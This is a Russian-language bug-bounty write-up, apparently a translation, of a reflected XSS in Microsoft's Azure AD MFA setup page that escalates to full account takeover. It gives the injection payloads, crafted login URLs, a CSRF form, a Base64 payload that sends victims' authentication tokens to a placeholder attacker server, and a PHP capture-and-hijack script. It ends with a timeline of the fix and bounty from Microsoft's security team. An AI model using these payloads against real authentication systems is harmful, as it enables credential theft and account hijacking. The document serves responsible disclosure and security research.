Как стать автором
Обновить

Эскалация влияния: Полный захват учетной записи Microsoft через XSS в процессе аутентификации

Время на прочтение20 мин
Количество просмотров773
Автор оригинала: Asem Eleraky

Система входа Microsoft обладет защищенной и сложной архитектурой, построенной с использованием нескольких уровней защиты. Это в значительной мере усложняете процесс анализа.

В этой статье я подробно опишу, как обнаружил и использовал уязвимость полного захвата учетной записи с помощью Cross-Site Scripting (XSS) в процессе входа. Эта уязвимость, скрытая в механизме аутентификации Microsoft, помогла получить полный контроль над учетной записью пользователя.

Кроме того, я разберу ключевые компоненты механизма входа Microsoft для лучшего понимания обсуждаемой проблемы. Это поможет вам лучше разобраться в системе и окажет поддержку в ваших собственных исследованиях инфраструктуры Microsoft.

Механизм входа Microsoft и Azure Active Directory (Azure AD):
Аутентификация Microsoft основана на Azure Active Directory (Azure AD) — облачной системе управления идентификацией и доступом, используемой в таких сервисах, как Microsoft 365. Один из ключевых элементов в Azure AD — это арендаторы (tenants), которые устанавливают организационные границы внутри экосистемы Microsoft.

Что такое арендаторы в Azure AD?

Арендатор в Azure AD — это выделенный экземпляр службы, принадлежащий конкретной организации. Его можно представить как защищенный контейнер для пользователей, групп, приложений и политик. Ключевые характеристики арендаторов:

  • Каждая организация, использующая сервисы Microsoft (например, Microsoft 365), получает собственный арендатор, полностью изолированный от других. Это обеспечивает безопасность данных и целостность между разными арендаторами и организациями.

  • Арендатор связан с уникальным доменом, например {organizationName}.onmicrosoft.com.

  • Каждому арендатору присваивается уникальный идентификатор, называемый Tenant ID, который представлен в формате UUID (например, e1234567-89ab-cdef-0123-456789abcdef).

Типы арендаторов и различия в процессе входа:
Когда вы заходите в свою учетную запись, способ обработки входа со стороны Microsoft может отличаться в зависимости от типа используемой учетной записи.

Почему?


Потому что Azure AD поддерживает различные типы арендаторов, каждый из которых предназначен для определенных сценариев использования:

Тип 1: Рабочие или учебные учетные записи (арендатор Azure AD):

  • Используются организациями для управления доступом сотрудников или студентов к корпоративным приложениям. Как упоминалось выше, у каждого арендатора Azure AD есть уникальный идентификатор Tenant ID (UUID).

  • Конечная точка аутентификации:
    https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize

  • Tenant ID необходимо подставить вместо {tenant-id} в URL для корректного входа.

Тип 2: Личные учетные записи (арендатор учетной записи Microsoft):

  • Предназначены для индивидуальных пользователей, получающих доступ к таким сервисам, как Outlook.com, Xbox Live или OneDrive.

  • Личные учетные записи не связаны с конкретным арендатором. Вместо этого они используют потребительскую службу идентификации Microsoft. Следовательно, UUID арендатора не требуется, поскольку отсутствует необходимость в разрешении контекста нескольких арендаторов — все личные учетные записи находятся в одном общем пространстве имен.

  • Аутентификация обрабатывается отдельно, через https://login.live.com/oauth20_authorize.srf, в отличие от рабочего/учебного сценария (тип 1), где используется https://login.microsoftonline.com.

Поскольку данная статья сосредоточена на рабочих или учебных учетных записях (Тип 1), далее мы рассмотрим, как Microsoft осуществляет процесс идентификации и проверки пользователей в таких средах. Я постараюсь изложить материал максимально просто.

Механизм входа для рабочих/учебных учетных записей и идентификация арендатора:
Процесс аутентификации в Azure AD тесно связан с идентификацией арендатора, что обеспечивает аутентификацию пользователей в рамках необходимых организаций. Вот как это работает:

  • Пользователь переходит по URL для входа, заменяя {tenant-id} на UUID своего арендатора. После этого он вводит свои учетные данные (например, электронную почту и пароль) для начала процесса аутентификации.

  • Система в первую очередь определяет арендатора с использованием {tenant-id} в URL для входа. (Существует также альтернативный метод — о нем будет рассказано позже.)

  • Azure AD проверяет политики, специфичные для арендатора, такие как многофакторная аутентификация (MFA). (Обратите особое внимание на этот момент.)

  • После успешной аутентификации Azure AD выдает токен, проверяет его и использует UUID арендатора для гарантии того, что токен действителен именно для данного арендатора.

Имея базовое понимание, давайте перейдем к тому, как я использовал XSS уязвимость для достижения полного захвата учетной записи.

Теперь начинаем:

В случае рабочих или учебных учетных записей пользователи не создают учетные записи самостоятельно. Этим занимаются сами организации (например, компании, школы, университеты). Пользователи получают учетные данные и проходят первоначальную настройку, включая настройку многофакторной аутентификации (MFA), прежде чем получить доступ.

Изучив документацию Microsoft и процесс входа, я начал тестировать систему — с самых основ. Я создал новую учетную запись с минимально возможным уровнем защиты, который может быть применен к любой учетной записи, и пытался обойти эти механизмы, уделяя внимание каждой детали.

Хотя MFA была принудительно включена, я сначала завершил её настройку, а затем перешел в настройки безопасности и удалил все дополнительные методы защиты — оставив только пароль в качестве единственного способа аутентификации.

Затем я попытался снова войти в систему, используя другой браузер. Как я упоминал ранее, приложение выполнит несколько перенаправлений и принудительно потребует настроить второй фактор аутентификации (2FA), например через приложение «Authenticator».

Одно из перенаправлений, которое привлекло мое внимание, было на устаревший домен, связанный с Azure AD. Этот домен в основном используется для настройки параметров MFA, управления ключами безопасности и обновления методов аутентификации (таких как номера телефонов и приложения-аутентификаторы).

При этом перенаправлении отправляется POST-запрос на /proofup.aspx со следующими параметрами:

  • flowtoken: токен, представляющий текущее состояние процесса аутентификации; он обеспечивает невозможность обхода промежуточных этапов, предотвращая прямой переход к более позднему шагу.

  • request: передается между эндпоинтами аутентификации для сохранения контекста исходного запроса (например, областей действия, URI перенаправления, идентификаторов приложений). Помогает Azure AD валидировать запрос при срабатывании дополнительных проверок (таких как MFA).

  • canary: токен или идентификатор, связанный с безопасностью, используемый для защиты от атак подмены данных в процессе аутентификации. Его можно рассматривать как часть защиты от CSRF-атак.

  • pru: приложение, которое валидирует MFA.

Также следует отметить:

  • Все эти параметры генерируются приложением после входа в систему.

  • Большинство учетных записей, использующих только пароль в качестве метода входа, перенаправляются на этот конкретный домен.

Ответ содержал автоматически отправляемую форму, которая выполняла POST-перенаправление на другой эндпоинт — /securityinfo — с двумя основными параметрами:

  • PostRedirectArguments: набор всех параметров, включенных в запрос (например, flowtoken, request и другие).

  • PESTS: сгенерированный токен состояния, используемый внутренне в процессе аутентификации Microsoft для отслеживания сессии пользователя и контекста. Сервер генерирует его на основе ранее упомянутых параметров запроса (flowtoken, request и др.). Это означает, что если параметры запроса принадлежат вам, то и сгенерированный токен принадлежит вам. Это важный момент, который необходимо учитывать.

Токен PESTS является крайне чувствительным — его можно рассматривать как основу всего процесса аутентификации. На самом деле эндпоинт /securityinfo полагается именно на эти два параметра для идентификации пользователя в системе MFA. Он напрямую связывает их с аутентифицированным пользователем. Именно это делает токен PESTS критически важным.

Что привлекло мое внимание — это автоматически отправляемая форма в ответе: её атрибут action содержал множество неопределенных параметров. Я попытался использовать некоторые из них в запросе в качестве параметров GET и POST, но никаких изменений не обнаружил.

Я решил сосредоточиться именно на этой конечной точке, поскольку наличие пустых параметров намекало на то, что они могут ожидать входных данных. Для  более детального исследования, я расширил область поиска, используя Google, Wayback Machine и, конечно же, историю Burp Suite.

Я обнаружил, что на этот эндпоинт можно передавать параметры с похожими именами, например параметры X-client-Ver и x-client-SKU. Далее они будут отражаться в полях формы brkrVer и clientSku соответственно.

Отражение двух параметров происходит в виде двух разных имен  в атрибуте action формы.

Я попытался нарушить структуру одной кавычкой, чтобы выйти из атрибута action формы — и это сработало.

Мне не удалось разрушить всю форму, добавив закрывающий тег >, потому что он был закодированных. Следовательно, я был ограничен в использовании некоторых специальных символов. Кроме того, поскольку форма автоматически отправлялась, возможности использования обработчиков событий или выполнения JavaScript были очень ограничены, особенно после атрибута action.

Можно было бы попытаться добавить новый атрибут action с встроенным JavaScript, как показано ниже, но он бы просто игнорировался.

8.0.1'injected='meloz'action='javascript:alert(1);'test='

<!-- Reflection in POST request -->
<html>
  <body onload='document.forms["registrationForm"].submit();'>
    <form action='
https://served.from.server/endpoint' injected='meloz'
          action='javascript:alert(1);'
          test='/theRest/Of/TheEndpoint' method='POST' id='registrationForm'
          name='registrationForm' target='_self' >
      <input type='submit'>
    </form>
  </body>
</html>

Существует несколько способов решения этой ситуации. Я изложу несколько из них и объясню, почему выбрал именно тот, который выбрал. Напоминаю: это POST-запрос, и если мне удастся найти уязвимость XSS, мне нужно будет доставить её жертве через форму, основанную на CSRF.

Выбор правильной эксплуатации (Раунд 1)

Вот почему я упомянул, что возможности очень ограничены — в этом сценарии мне нужен обработчик событий, который соответствует следующим трем условиям:

  1. Он должен быть совместим с элементом <form>.

  2. Он должен выполняться даже в случае автоматической отправки формы.

  3. Он должен срабатывать без необходимости взаимодействия с пользователем.

В тегах формы можно использовать несколько обработчиков событий, которые зависят от некоторых стилей, например, нового oncontentvisibilityautostatechange, как показано ниже:

8.0.1'injected='meloz'oncontentvisibilityautostatechange='alert(1)'style='content-visibility:auto'test='

<!-- Reflection in POST request -->
<html>
  <body onload='document.forms["registrationForm"].submit();'>
    <form action='
https://served.from.server/endpoint' injected='meloz'
          oncontentvisibilityautostatechange='alert(1)'
          style='content-visibility:auto'
          test='/theRest/Of/TheEndpoint' method='POST' id='registrationForm'
          name='registrationForm' target='_self' >
      <input type='submit'>
    </form>
  </body>
</html>

Однако это не работает во всех браузерах (старые версии/некоторые мобильные браузеры/неправильная обработка в Firefox). Если существует реальная уязвимость, я хочу, чтобы она затронула как можно больше пользователей и браузеров, чтобы максимизировать поверхность атаки.

Поэтому мне нужно изменить свой подход. Давайте разберем два ключевых момента:

Фрагменты URL: Это часть URL после символа #, используемая для ссылки на конкретные разделы веб-страницы через указание id элемента. Когда URL с фрагментом загружается, браузер пытается фокусироваться на элементе (если он по умолчанию доступен).
Но что, если элемент не доступен для определения по умолчанию, как в случае с тегами формы? Я объясню это позже.

Атрибут tabindex: Этот атрибут управляет порядком получения фокуса элементами при навигации с помощью клавиши Tab.

  • Если tabindex="1" или выше: Элемент становится доступным для фокуса и получает приоритет в порядке табуляции.

  • Если tabindex="-1": Элемент вообще не доступен для фокуса.

Комбинируя это, мы можем заставить тег формы стать доступным для фокуса с помощью tabindex. Затем можно использовать обработчик события onfocus для выполнения JavaScript вместе с фрагментом URL, который будет вызывать фокус.

'injected='meloz'onfocus='alert(1)'tabindex='1'test='

<!-- Reflection in POST request -->
<html>
  <body onload='document.forms["registrationForm"].submit();'>
    <form action='
https://served.from.server/endpoint' injected='meloz'
          onfocus='alert(1)' tabindex='1'
          test='/theRest/Of/TheEndpoint' method='POST' id='registrationForm'
          name='registrationForm' target='_self' >
      <input type='submit'>
    </form>
  </body>
</html>

Для эксплуатации этой уязвимости атакующий может отправить жертве ссылку, содержащую id формы как фрагмент URI, например:

https://account.activedirectory.windowsazure.com/proofup.aspx?X-client-Ver=8.0.1'injected='meloz'onfocus='alert(1)'tabindex='1'test='#registrationForm

Теперь давайте создадим CSRF форму, которая будет размещена на нашем сервере:

<html>
    <form id="csrfPOC" action="
https://account.activedirectory.windowsazure.com/proofup.aspx?X-clinet-Ver=8.0.1'injected='meloz'onfocus='alert(1)'tabindex='1'test='#registrationForm" method="POST">
      <input type="hidden" name="flowtoken" value="{FLOWTOKEN}" />
      <input type="hidden" name="pru" value="{PRU}" />
      <input type="hidden" name="request" value="{REQUEST}" />
      <input type="hidden" name="canary" value="{CANARY}" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms["csrfPOC"].submit();
    </script>
</html>

Я попробовал в другом браузере, и получил ошибку 400 Bad Request!

Я был в замешательстве! Я дважды проверил все заголовки. Или я мог упустить, что-то еще? Позже я понял, что один из токенов/значений в теле POST запроса истек.

Я попробовал снова с новым токеном, и все пошло как по маслу.

Действующий токен остается рабочим примерно 20–30 минут, что представляет собой явное препятствие! Я задался вопросом: можно ли ещё что-то с этим сделать?

  • 95% cookies имеют флаг HttpOnly, что делает их недоступными для JavaScript.

  • А что насчет кражи данных из localStorage/sessionStorage? Там почти ничего нельзя украсть.

  • Может, попробуем украсть значение PESTS? Но это ваш токен, а не жертвы. Приложение генерирует его на основе параметров, которые вы отправляете. Это означает, что он обычно принадлежит вам, а не жертве. Вместо того чтобы атаковать пользователей, вы просто раскрываете свой собственный токен. Гениальный ход!

  • Есть ли у нас токен жертвы? Нет. Украсть его? Никак. Можем ли мы сделать что-то значимое помимо этого? Большое жирное НЕТ.


Все признаки того, что нам чего-то нехватает! Время сделать шаг назад и убедиться, что я не упустил что-то важное.

Сделаем шаг назад!


Я потратил ещё некоторое время, просматривая историю Burp Suite, пока не заметил то, что изменило ход игры!

Внимательно посмотрите на вышеуказанный ответ — видите ли вы то, что вижу я? В, казалось бы, случайном запросе те же параметры добавляются к основному URL для входа!

Это заставило меня задуматься — хранит ли система входа Microsoft эти параметры и передает ли их уязвимой конечной точке, когда MFA отключен? Если это так, то мы нашли нечто важное. Это означало бы, что мы можем использовать данные извне — без необходимости в действительных значениях, чувствительных ко времени, и без работы с POST CSRF!

Точно! Я добавлю нашу нагрузку в конец параметра x-client-ver, как показано ниже:

https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fm365.cloud.microsoft%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=&ui_locales=en-US&mkt=en-US&client-request-id=ce8a562b-79d9-4150-8f97-f1a7b18b78e4&state=&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0'injected='meloz'onfocus='alert(1)'tabindex='1'test='

Нас перенаправит на:

https://account.activedirectory.windowsazure.com/proofup.aspx?x-client-Ver=7.5.1.0%27injected%3d%27meloz%27onfocus%3d%27alert(1)%27tabindex%3d%271%27test%3d%27&x-client-SKU=ID_NET8_0&culture=en-US

Это именно то, что нам и надо. Но, к сожалению, уведомление не появилось! Это было ожидаемо, поскольку мы не включили фрагмент URL (id формы #registrationForm).

Поскольку URL для входа перенаправляет на другой источник, даже если мы добавим фрагмент URL, браузер не передаст его при перенаправлении. Это означает, что нам нужно найти альтернативный способ вызвать функцию focus() для формы.

Знаю о чем вы думаете, атрибут autofocus — это то, что нам нужно, правильно? Давайте посмотрим.

'injected='meloz'onfocus='alert(1)'autofocus=''tabindex='1'test='

<!-- Reflection in POST request -->
<html>
  <body onload='document.forms["registrationForm"].submit();'>
    <form action='
https://served.from.server/path?brkrVer=8.0.1'
          injected='meloz' onfocus='alert(1)' autofocus='' tabindex='1'
          test='/theRest/Of/TheEndpoint' method='POST' id='registrationForm'
          name='registrationForm' target='_self' >
      <input type='submit'>
    </form>
  </body>
</html>

Когда я попробовал это в Chrome, все сработало отлично, но в Firefox это не сработало. Возможно, Firefox более осторожен с автоматическими отправками форм или отправками форм без взаимодействия с пользователем. Он может блокировать срабатывание события onfocus для вывода уведомления, когда форма автоматически отправляется (запомните это, мы вернемся к этому позже).

Как я упоминал ранее, чем больше пользователей мы затронем, тем больше будет поверхность атаки. Поэтому нам снова нужно сделать шаг назад и убедиться, что наша нагрузка работает во всех браузерах, чтобы максимизировать количество пользователей, которые могут быть затронуты этой уязвимостью.

Выбор правильного пути (Раунд 2)

В Firefox проблема заключается в автоматической отправке формы. Анализируя форму, я заметил, что наша нагрузку появляется до атрибутов id и name.

Так почему бы не добавить новый id и name, чтобы влезть в document.forms["registrationForm"]?

Возьмем следующий пример — если мы добавим следующее:

'injected='meloz' id='melotover' name='melotover

<html>
  <body onload='document.forms["registrationForm"].submit();'>
    <form action='
https://served.from.server/path?brkrVer=8.0.1'
          injected='meloz' id='melotover' name='melotover' method='POST' id='registrationForm'
          name='registrationForm' target='_self' >
      <input type='submit'>
    </form>
  </body>
</html>

Что происходит, когда мы вызываем document.forms["registrationForm"].submit();?

Результат: document.forms["registrationForm"] становится неопределенным, что предотвращает автоматическую отправку формы. Теперь, если мы сделаем это на нашей целевой странице, как показано ниже, наш скрипт выполняется как задумано почти во всех браузерах!

'id='melotover'name='melotover'tabindex='1'onfocus='alert(document.domain)'autofocus=''test='

<!-- Reflection in POST request -->
<html>
  <body onload='document.forms["registrationForm"].submit();'>
    <form action='
https://served.from.server/path?brkrVer=8.0.1'
          id='melotover' name='melotover' tabindex='1'
          onfocus='alert(document.domain)' autofocus=''
          test='/theRest/Of/TheEndpoint' method='POST'
          id='registrationForm' name='registrationForm' target='_self' >
      <input type='submit'>
    </form>
  </body>
</html>

Хорошо, скажем, мы хотим атаковать организацию под названием RealCompany. Если мы как-то найдем их {tenant-id}, мы можем передать этот уязвимый URL пользователям, работающим там:

https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fm365.cloud.microsoft%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=&x-client-SKU=ID_NET8_0&x-client-ver=80.0.1'id='melotover'name='melotover'tabindex='1'onfocus='alert(document.domain)'autofocus=''test='

{tenant-id} — это значение в формате UUID, которое трудно угадать. Однако можно найти множество таких значений через Google, Web Archive и другие источники. Более того, вместо того чтобы застревать на UUID, можно использовать домен, предоставленный Microsoft ({organizationName}.onmicrosoft.com), как мы обсуждали ранее. Кажется, что найти домен немного проще.

Идеально, если мы сможем расширить эту атаку не только на уровень всей организации или всего арендатора, но и нацелить наш уязвимый URL на ЛЮБОГО пользователя в ЛЮБОЙ организации.

Один важный момент, который я нашел в обучающих материалах Microsoft, заключается в том, что можно использовать несколько заранее определенных идентификаторов арендатора вместо /{tenant-id}/. Такие как:

/common/ → Любая учетная запись Microsoft (личная или рабочая/учебная)
/organizations/ → Только рабочие/учебные учетные записи (Azure AD)
/consumers/ → Только личные учетные записи Microsoft (например, Outlook)
/{tenant_id}/ → Конкретный Azure AD арендатор (по его ID или домену)

Мы можем использовать /common/, верно? Но вы можете спросить, как система входа определяет правильного арендатора в этом случае? Когда пользователь входит через, Azure AD извлекает домен из их электронной почты (например, melo@realcompany.com), чтобы идентифицировать соответствующий арендатор.

Если домен связан с Azure AD арендатором, система автоматически перенаправляет пользователя на страницу входа для этого арендатора.

Следовательно, мы можем отредактировать финальную нагрузку следующим образом:

https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fm365.cloud.microsoft%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=&x-client-SKU=ID_NET8_0&x-client-ver=80.0.1'id='melotover'name='melotover'tabindex='1'onfocus='alert(document.domain)'autofocus=''test='

На данный момент, мы имеем уязвимость на уровне всей организации, которая затрагивает всех пользователей. Но это все еще просто XSS, и нам нужно найти способ использовать его с максимальной отдачей.

Расширяем воздействие

Учитывая, насколько чувствителен параметр PESTS — он играет ключевую роль в идентификации пользователей в системе MFA — мне пришла в голову мысль, что если мы украдем и повторно используем его, это может привести к чему-то более интересному.

Для тестирования я попытался войти с другой учетной записью. Когда пришло время использовать моё PESTS-значение, я заменил его на значение другого пользователя (назовем его User2), чтобы понаблюдать за поведением приложения. Результат? Произошла ошибка.

Затем, вместо того чтобы заменять только PESTS, я заменил все параметры, отправленные на /securityinfo, на значения User2. На этот раз, вместо возникновения ошибки, приложение перенаправило меня на страницу настройки MFA, позволяя мне добавить новый метод аутентификации как User2!

Невероятно.

Теперь начнем эксплуатацию.

Самый простой способ захватить все эти параметры — это изменить атрибут action формы на данные с нашего сервера, который обрабатывает входящие POST-запросы. Это гарантирует не только успешную отправку параметров на наш сервер, но и прервание процесса входа, сохранив токены действительными.

Но из-за некоторых проблем с кодированием я выбрал похожий способ. С помощью JavaScript я выберу все <input> теги на странице, закодирую и отправлю их на мой сервер.

Давайте разделим последовательность эксплуатации, чтобы вы не запутались:

  1. Пользователь переходит по созданному нами уязвимому URL. После входа в систему его перенаправляет на уязвимую страницу (/proofup.aspx), где выполняется наша нагрузка.

  2. Она собирает все теги <input>, содержащие чувствительные токены, кодирует их и отправляет на наш сервер — вместе с уникальным идентификатором конкретного пользователя.

  3. Наш сервер декодирует полученные параметры, восстанавливает форму, идентичную той, что на уязвимой странице, и сохраняет её как файл. Имя файла соответствует уникальному идентификатору, который мы создали ранее.

  4. Перейдя по этому файлу, нас перенаправляет на учетную запись жертвы, где мы можем добавить новый метод MFA.

  5. Мы регистрируем свой собственный метод аутентификации. Теперь приложение распознает нас как авторизованного пользователя и перенаправляет нас на страницу настроек учетной записи.

  6. На этом этапе мы имеем полный контроль над учетной записью жертвы.
    Миссия выполнена!

Наша нагрузка:

content = btoa(document.forms[0].innerHTML);
f = document.createElement("form");
f.method = "post";
f.action = "https://{YOUR_SERVER}/POC.php?userID=".concat(
Date.now());
i = document.createElement('input');
i.name = "data";
i.value = content;
f.appendChild(i);
document.body.appendChild(f);
f.submit();

Из-за ограничений валидации ввода я закодировал нагрузку в Base64 и внедрил ее в атрибут rel. Затем вызвал его через обработчик события onfocus с использованием eval().

'id='melotover'name='melotover'rel='Y29udGVudD1idG9hKGRvY3VtZW50LmZvcm1zWzBdLmlubmVySFRNTCk7Zj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIik7Zi5tZXRob2Q9InBvc3QiO2YuYWN0aW9uPSJodHRwczovL3tZT1VSX1NFUlZFUn0vUE9DLnBocD91c2VySUQ9Ii5jb25jYXQoRGF0ZS5ub3coKSk7aT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpO2kubmFtZT0iZGF0YSI7aS52YWx1ZT1jb250ZW50O2YuYXBwZW5kQ2hpbGQoaSk7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmKTtmLnN1Ym1pdCgpOw=='tabindex='1'autofocus=''onfocus='eval(atob(this.rel));//

В конце концов, вот конечный уязвимый URL:

https://login.microsoftonline.com/common/oauth2/authorize?client_id=0000000c-0000-0000-c000-000000000000&redirect_uri=https%3A%2F%2Faccount.activedirectory.windowsazure.com%2F&response_mode=form_post&response_type=code%20id_token&scope=openid%20profile&state=OpenIdConnect.AuthenticationProperties%&nonce=1736410058.168t6DgXvBr4QMXh3SLAeg&amr_values=ngcmfa&nux=1&x-client-SKU=ID_NET472&x-client-ver=8.0.1.0%27id=%27melotover%27name=%27melotover%27rel=%27Y29udGVudD1idG9hKGRvY3VtZW50LmZvcm1zWzBdLmlubmVySFRNTCk7Zj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIik7Zi5tZXRob2Q9InBvc3QiO2YuYWN0aW9uPSJodHRwczovL3tZT1VSX1NFUlZFUn0vUE9DLnBocD91c2VySUQ9Ii5jb25jYXQoRGF0ZS5ub3coKSk7aT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpO2kubmFtZT0iZGF0YSI7aS52YWx1ZT1jb250ZW50O2YuYXBwZW5kQ2hpbGQoaSk7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmKTtmLnN1Ym1pdCgpOw==%27tabindex=%271%27autofocus=%27%27onfocus=%27eval(atob(this.rel));//

Вот серверный скрипт, который обрабатывает захват:

<?php

if (isset($_GET['userID'])
  && !empty($_GET['userID'])
  && ctype_digit($_GET['userID'])) {
    $filename = "user_" . $_GET['userID'];
}else{
  die("Error");
}

if ($_SERVER['REQUEST_METHOD'] === "POST") {
$data = file_get_contents("php://input");
!empty($data) && file_put_contents($filename, $data);
echo "good luck!";
}else{
$fileContent = file_get_contents($filename);
if (preg_match('/data=([A-Za-z0-9+\/=]+)/', $fileContent, $matches)) {
    $decodedValue = base64_decode($matches[1]);
    echo "
      <!DOCTYPE html>
      <html lang='en'>
      <head>
          <meta charset='UTF-8'>
          <title>Dashboard</title>
      </head>
      <body>
      <div style='text-align:center'>
          <form id='hijack'
            action='
https://account.activedirectory.windowsazure.com/securityinfo?isOobe=False&brkr=&brkrVer=8.0.1.0&clientSku=ID_NET472&personality=&authMethods=&authMethodCount='
            method='POST'>
              " . $decodedValue . "
          </form>
          <button onclick='document.forms.hijack.submit();' type='submit'>Hijack!</button>
          </div>
      </body>
      </html>";
}}
?>

Я разобрался с этим — теперь пора отправить отчет в Microsoft!

Я знаю, что читать об эксплуатации — это одно, но увидеть это в действии — совсем другое. Поэтому я выложил видео с демонстрацией POC, чтобы вы могли посмотреть.

На следующий день после отправки отчета:

Я вернулся к эксплуатации с более амбициозной целью — нацелиться не только на пользователей, которые используют для входа только пароли, а на всех пользователей в целом!

Моя миссия? Сделать это для всего приложения!

Я экспериментировал с приложением, намеренно вызывая ошибки и наблюдая за его необычным поведением, и мне повезло.

Когда на уязвимый эндпоинт /proofup.aspx отправляется корректный запрос, приложение кэширует ответ, устанавливая cookie. В нем хранится сгенерированное значение PESTS. Этот кэшированный ответ остается действительным примерно 80 минут — столько же, сколько и срок действия cookie.

Когда страница кэшируется, даже при отправке простого GET-запроса на https://account.activedirectory.windowsazure.com/proofup.aspx приложение все равно возвращает тот же кэшированный ответ.

Почему это важно?

Это означает, что если я отправлю валидный запрос с XSS-нагрузкой, он будет выполнен. Более того, поскольку приложение кэширует весь ответ, все последующие запросы (GET или POST, независимо от того, истек ли срок действия тела запроса или нет) по-прежнему будут выполнять XSS-нагрузку.

Общий процесс эксплуатации

Атака CSRF создается с валидной формой, содержащей мои токены и XSS-нагрузку.
Приложение обрабатывает запрос, отвечает моим токеном PESTS, выполняет XSS и кэширует весь ответ в cookie.

Жертва (у которой включена двухфакторная аутентификация) вынуждена войти в систему и сразу перенаправляется на https://account.activedirectory.windowsazure.com/proofup.aspx.
Поскольку возвращается кэшированный ответ, XSS снова выполняется — но на этот раз она работает в контексте аутентифицированной сессии жертвы, а не моей.

Это создает проблему — как отправить форму, которая вызывает переход на главный уровень (top-level navigation), при этом перенаправляя пользователя на страницу входа?

Я придумал простой способ — когда мы отправляем форму на /proofup.aspx с нашим XSS, она выполняется, как и ожидалось, верно? Так почему бы не добавить простую строку в нашу нагрузку, чтобы перенаправить пользователя на страницу входа? Это может создать цикл, но вот в чем фишка: в первый раз скрипт выполняется, когда пользователь не авторизован; во второй раз — он авторизован!

Я упомянул это в своем ответе команде MSRC.

Таймлайн отчета:

11 января 2025: Сообщено о уязвимости команде MSRC.
12 января 2025: Предоставлены дополнительные замечания и POC.
14 января 2025: Команда MSRC подтвердила получение отчета и открыла дело.
5 февраля 2025: Команда MSRC подтвердила случай, реализовала исправление и начала рассмотрение для назначения награды.
6 февраля 2025: Получена награда.

Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Теги:
Хабы:
+2
Комментарии2

Публикации